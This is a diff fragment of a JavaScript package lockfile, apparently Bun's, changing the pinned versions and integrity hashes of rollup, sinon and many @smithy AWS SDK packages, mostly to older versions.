- "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.59.0", "", { "os": "none", "cpu": "arm64" }, "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA=="],
-
- "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.59.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A=="],
-
- "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.59.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA=="],
-
- "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA=="],
-
- "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA=="],
+ "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.37.0", "", { "os": "win32", "cpu": "x64" }, "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA=="],
"@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="],
- "@scarf/scarf": ["@scarf/scarf@1.4.0", "", {}, "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ=="],
-
"@sinclair/typebox": ["@sinclair/typebox@0.34.41", "", {}, "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g=="],
"@sinonjs/commons": ["@sinonjs/commons@3.0.1", "", { "dependencies": { "type-detect": "4.0.8" } }, "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ=="],
- "@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
+ "@sinonjs/fake-timers": ["@sinonjs/fake-timers@10.3.0", "", { "dependencies": { "@sinonjs/commons": "^3.0.0" } }, "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA=="],
- "@smithy/abort-controller": ["@smithy/abort-controller@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-xolrFw6b+2iYGl6EcOL7IJY71vvyZ0DJ3mcKtpykqPe2uscwtzDZJa1uVQXyP7w9Dd+kGwYnPbMsJrGISKiY/Q=="],
+ "@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="],
- "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-St+kVicSyayWQca+I1rGitaOEH6uKgE8IUWoYnnEX26SWdWQcL6LvMSD19Lg+vYHKdT9B2Zuu7rd3i6Wnyb/iw=="],
+ "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+sKqDBQqb036hh4NPaUiEkYFkTUGYzRsn3EuFhyfQfMy6oGHEUJDurLP9Ufb5dasr/XiAmPNMr6wa9afjQB+Gw=="],
- "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.2.3", "", { "dependencies": { "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-jA5k5Udn7Y5717L86h4EIv06wIr3xn8GM1qHRi/Nf31annXcXHJjBKvgztnbn2TxH3xWrPBfgwHsOwZf0UmQWw=="],
+ "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.0.0", "", { "dependencies": { "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-R9wM2yPmfEMsUmlMlIgSzOyICs0x9uu7UTHoccMyt7BWw8shcGM8HqB355+BZCPBcySvbTYMs62EgEQkNxz2ig=="],
- "@smithy/config-resolver": ["@smithy/config-resolver@4.4.13", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.12", "@smithy/types": "^4.13.1", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.3", "@smithy/util-middleware": "^4.2.12", "tslib": "^2.6.2" } }, "sha512-iIzMC5NmOUP6WL6o8iPBjFhUhBZ9pPjpUpQYWMUFQqKyXXzOftbfK8zcQCz/jFV1Psmf05BK5ypx4K2r4Tnwdg=="],
+ "@smithy/config-resolver": ["@smithy/config-resolver@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Igfg8lKu3dRVkTSEm98QpZUvKEOa71jDX4vKRcvJVyRc3UgN3j7vFMf0s7xLQhYmKa8kyJGQgUJDOV5V3neVlQ=="],
- "@smithy/core": ["@smithy/core@3.23.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.12", "@smithy/util-stream": "^4.5.20", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-o9VycsYNtgC+Dy3I0yrwCqv9CWicDnke0L7EVOrZtJpjb2t0EjaEofmMrYc0T1Kn3yk32zm6cspxF9u9Bj7e5w=="],
+ "@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
"@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@3.2.0", "", { "dependencies": { "@smithy/node-config-provider": "^3.1.4", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "tslib": "^2.6.2" } }, "sha512-0SCIzgd8LYZ9EJxUjLXBmEKSZR/P/w6l7Rz/pab9culE/RWuqelAKGJvn5qUOl8BgX8Yj5HWM50A5hiB/RzsgA=="],
- "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.12", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.1", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FE3bZdEl62ojmy8x4FHqxq2+BuOHlcxiH5vaZ6aqHJr3AIZzwF5jfx8dEiU/X0a8RboyNDjmXjlbr8AdEyLgiA=="],
+ "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.6", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OZfsI+YRG26XZik/jKMMg37acnBSbUiK/8nETW3uM3mLj+0tMmFXdHQw1e5WEd/IHN8BGOh3te91SNDe2o4RHg=="],
- "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.12", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-XUSuMxlTxV5pp4VpqZf6Sa3vT/Q75FVkLSpSSE3KkWBvAQWeuWt1msTv8fJfgA4/jcJhrbrbMzN1AC/hvPmm5A=="],
+ "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
- "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-7epsAZ3QvfHkngz6RXQYseyZYHlmWXSTPOfPmXkiS+zA6TBNo1awUaMFL9vxyXlGdoELmCZyZe1nQE+imbmV+Q=="],
+ "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
- "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.12", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-D1pFuExo31854eAvg89KMn9Oab/wEeJR6Buy32B49A9Ogdtx5fwZPqBHUlDzaCDpycTFk2+fSQgX689Qsk7UGA=="],
+ "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
- "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.12", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-+yNuTiyBACxOJUTvbsNsSOfH9G9oKbaJE1lNL3YHpGcuucl6rPZMi3nrpehpVOVR2E07YqFFmtwpImtpzlouHQ=="],
+ "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
- "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.15", "", { "dependencies": { "@smithy/protocol-http": "^5.3.12", "@smithy/querystring-builder": "^4.2.12", "@smithy/types": "^4.13.1", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-T4jFU5N/yiIfrtrsb9uOQn7RdELdM/7HbyLNr6uO/mpkj1ctiVs7CihVr51w4LyQlXWDpXFn4BElf1WmQvZu/A=="],
+ "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.2.12", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.2.2", "@smithy/chunked-blob-reader-native": "^4.2.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-1wQE33DsxkM/waftAhCH9VtJbUGyt1PJ9YRDpOu+q9FUi73LLFUZ2fD8A61g2mT1UY9k7b99+V1xZ41Rz4SHRQ=="],
+ "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.0.1", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.0.0", "@smithy/chunked-blob-reader-native": "^4.0.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-rkFIrQOKZGS6i1D3gKJ8skJ0RlXqDvb1IyAphksaFOMzkn3v3I1eJ8m7OkLj0jf1McP63rcCEoLlkAn/HjcTRw=="],
- "@smithy/hash-node": ["@smithy/hash-node@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-QhBYbGrbxTkZ43QoTPrK72DoYviDeg6YKDrHTMJbbC+A0sml3kSjzFtXP7BtbyJnXojLfTQldGdUR0RGD8dA3w=="],
+ "@smithy/hash-node": ["@smithy/hash-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-TJ6oZS+3r2Xu4emVse1YPB3Dq3d8RkZDKcPr71Nj/lJsdAP1c7oFzYqEn1IBc915TsgLl2xIJNuxCz+gLbLE0w=="],
- "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-hQsTjwPCRY8w9GK07w1RqJi3e+myh0UaOWBBhZ1UMSDgofH/Q1fEYzU1teaX6HkpX/eWDdm7tAGR0jBPlz9QEQ=="],
+ "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-U1rAE1fxmReCIr6D2o/4ROqAQX+GffZpyMt3d7njtGDr2pUNmAKRWa49gsNVhCh2vVAuf3wXzWwNr2YN8PAXIw=="],
- "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-/4F1zb7Z8LOu1PalTdESFHR0RbPwHd3FcaG1sI3UEIriQTWakysgJr65lc1jj6QY5ye7aFsisajotH6UhWfm/g=="],
+ "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gdudFPf4QRQ5pzj7HEnu6FhKRi61BfH/Gk5Yf6O0KiSbr1LlVhgjThcvjdu658VE6Nve8vaIWB8/fodmS1rBPQ=="],
- "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow=="],
+ "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@smithy/md5-js": ["@smithy/md5-js@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-350X4kGIrty0Snx2OWv7rPM6p6vM7RzryvFs6B/56Cux3w3sChOb3bymo5oidXJlPcP9fIRxGUCk7GqpiSOtng=="],
+ "@smithy/md5-js": ["@smithy/md5-js@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLZ647L27APi6zXkZlzSFZIjpo8po45YiyjMGJZM3gyDY8n7dPGdmxIIljLm4gPt/7rRvutLTTkYJpZVfG5r+A=="],
- "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-YE58Yz+cvFInWI/wOTrB+DbvUVz/pLn5mC5MvOV4fdRUc6qGwygyngcucRQjAhiCEbmfLOXX0gntSIcgMvAjmA=="],
+ "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-OGXo7w5EkB5pPiac7KNzVtfCW2vKBTZNuCctn++TTSOMpe6RZO/n6WEC1AxJINn3+vWLKW49uad3lo/u0WJ9oQ=="],
- "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.27", "", { "dependencies": { "@smithy/core": "^3.23.12", "@smithy/middleware-serde": "^4.2.15", "@smithy/node-config-provider": "^4.3.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "@smithy/util-middleware": "^4.2.12", "tslib": "^2.6.2" } }, "sha512-T3TFfUgXQlpcg+UdzcAISdZpj4Z+XECZ/cefgA6wLBd6V4lRi0svN2hBouN/be9dXQ31X4sLWz3fAQDf+nt6BA=="],
+ "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
- "@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.44", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.12", "@smithy/protocol-http": "^5.3.12", "@smithy/service-error-classification": "^4.2.12", "@smithy/smithy-client": "^4.12.7", "@smithy/types": "^4.13.1", "@smithy/util-middleware": "^4.2.12", "@smithy/util-retry": "^4.2.12", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-Y1Rav7m5CFRPQyM4CI0koD/bXjyjJu3EQxZZhtLGD88WIrBrQ7kqXM96ncd6rYnojwOo/u9MXu57JrEvu/nLrA=="],
+ "@smithy/middleware-retry": ["@smithy/middleware-retry@4.0.7", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/service-error-classification": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "tslib": "^2.6.2", "uuid": "^9.0.1" } }, "sha512-58j9XbUPLkqAcV1kHzVX/kAR16GT+j7DUZJqwzsxh1jtz7G82caZiGyyFgUvogVfNTg3TeAOIJepGc8TXF4AVQ=="],
- "@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.15", "", { "dependencies": { "@smithy/core": "^3.23.12", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-ExYhcltZSli0pgAKOpQQe1DLFBLryeZ22605y/YS+mQpdNWekum9Ujb/jMKfJKgjtz1AZldtwA/wCYuKJgjjlg=="],
+ "@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-kruC5gRHwsCOuyCd4ouQxYjgRAym2uDlCvQ5acuMtRrcdfg7mFBg6blaxcJ09STpt3ziEkis6bhg1uwrWU7txw=="],
+ "@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
- "@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.12", "", { "dependencies": { "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-tr2oKX2xMcO+rBOjobSwVAkV05SIfUKz8iI53rzxEmgW3GOOPOv0UioSDk+J8OpRQnpnhsO3Af6IEBabQBVmiw=="],
+ "@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
- "@smithy/node-http-handler": ["@smithy/node-http-handler@4.5.0", "", { "dependencies": { "@smithy/abort-controller": "^4.2.12", "@smithy/protocol-http": "^5.3.12", "@smithy/querystring-builder": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-Rnq9vQWiR1+/I6NZZMNzJHV6pZYyEHt2ZnuV3MG8z2NNenC4i/8Kzttz7CjZiHSmsN5frhXhg17z3Zqjjhmz1A=="],
+ "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="],
"@smithy/property-provider": ["@smithy/property-provider@3.1.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahyOVR9Q4PEoguJ/NrFP4O7SMAfYO1HLhB18M+q+Z4KFd4V2obiMnlVoUFzFLSPeVt1POyNWneHHrZaTMoc/g=="],
- "@smithy/protocol-http": ["@smithy/protocol-http@5.3.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-fit0GZK9I1xoRlR4jXmbLhoN0OdEpa96ul8M65XdmXnxXkuMxM0Y8HDT0Fh0Xb4I85MBvBClOzgSrV1X2s1Hxw=="],
+ "@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
- "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-6wTZjGABQufekycfDGMEB84BgtdOE/rCVTov+EDXQ8NHKTUNIp/j27IliwP7tjIU9LR+sSzyGBOXjeEtVgzCHg=="],
+ "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="],
- "@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-P2OdvrgiAKpkPNKlKUtWbNZKB1XjPxM086NeVhK+W+wI46pIKdWBe5QyXvhUm3MEcyS/rkLvY8rZzyUdmyDZBw=="],
+ "@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
- "@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1" } }, "sha512-LlP29oSQN0Tw0b6D0Xo6BIikBswuIiGYbRACy5ujw/JgWSzTdYj46U83ssf6Ux0GyNJVivs2uReU8pt7Eu9okQ=="],
+ "@smithy/service-error-classification": ["@smithy/service-error-classification@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0" } }, "sha512-3JNjBfOWpj/mYfjXJHB4Txc/7E4LVq32bwzE7m28GN79+M1f76XHflUaSUkhOriprPDzev9cX/M+dEB80DNDKA=="],
- "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.7", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-HrOKWsUb+otTeo1HxVWeEb99t5ER1XrBi/xka2Wv6NVmTbuCUC1dvlrksdvxFtODLBjsC+PHK+fuy2x/7Ynyiw=="],
+ "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
- "@smithy/signature-v4": ["@smithy/signature-v4@5.3.12", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.12", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-B/FBwO3MVOL00DaRSXfXfa/TRXRheagt/q5A2NM13u7q+sHS59EOVGQNfG7DkmVtdQm5m3vOosoKAXSqn/OEgw=="],
+ "@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
- "@smithy/smithy-client": ["@smithy/smithy-client@4.12.7", "", { "dependencies": { "@smithy/core": "^3.23.12", "@smithy/middleware-endpoint": "^4.4.27", "@smithy/middleware-stack": "^4.2.12", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "@smithy/util-stream": "^4.5.20", "tslib": "^2.6.2" } }, "sha512-q3gqnwml60G44FECaEEsdQMplYhDMZYCtYhMCzadCnRnnHIobZJjegmdoUo6ieLQlPUzvrMdIJUpx6DoPmzANQ=="],
+ "@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
